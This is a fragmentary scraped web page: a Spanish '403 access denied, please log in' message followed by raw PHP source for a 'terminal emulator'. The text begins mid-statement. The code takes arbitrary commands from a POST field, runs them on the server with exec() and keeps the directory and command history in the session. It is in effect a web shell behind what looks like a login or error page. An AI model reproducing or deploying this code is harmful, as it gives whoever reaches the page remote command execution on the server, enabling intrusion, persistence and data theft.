Acceso denegado 403, Inicie sesión



'; exit; } // Resto del código del emulador de terminal // Inicializar la variable de sesión para el directorio actual si no está configurada if (!isset($_SESSION['current_directory'])) { $_SESSION['current_directory'] = __DIR__; } // Inicializar la variable de sesión para los comandos y resultados si no está configurada if (!isset($_SESSION['command_history'])) { $_SESSION['command_history'] = array(); } // Manejar los comandos enviados mediante POST if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Obtener comandos desde el formulario $comandos = $_POST['comandos']; // Almacenar el directorio actual antes de cambiarlo $old_directory = $_SESSION['current_directory']; // Cambiar al directorio actual almacenado en la sesión chdir($_SESSION['current_directory']); // Ejecutar el comando y capturar la salida $output = null; $returnCode = null; exec($comandos, $output, $returnCode); // Actualizar la variable de sesión con el nuevo directorio actual $_SESSION['current_directory'] = getcwd(); // Agregar el comando y su salida al historial $_SESSION['command_history'][] = array('command' => $comandos, 'output' => $output, 'old_directory' => $old_directory); } ?> Emulador de Terminal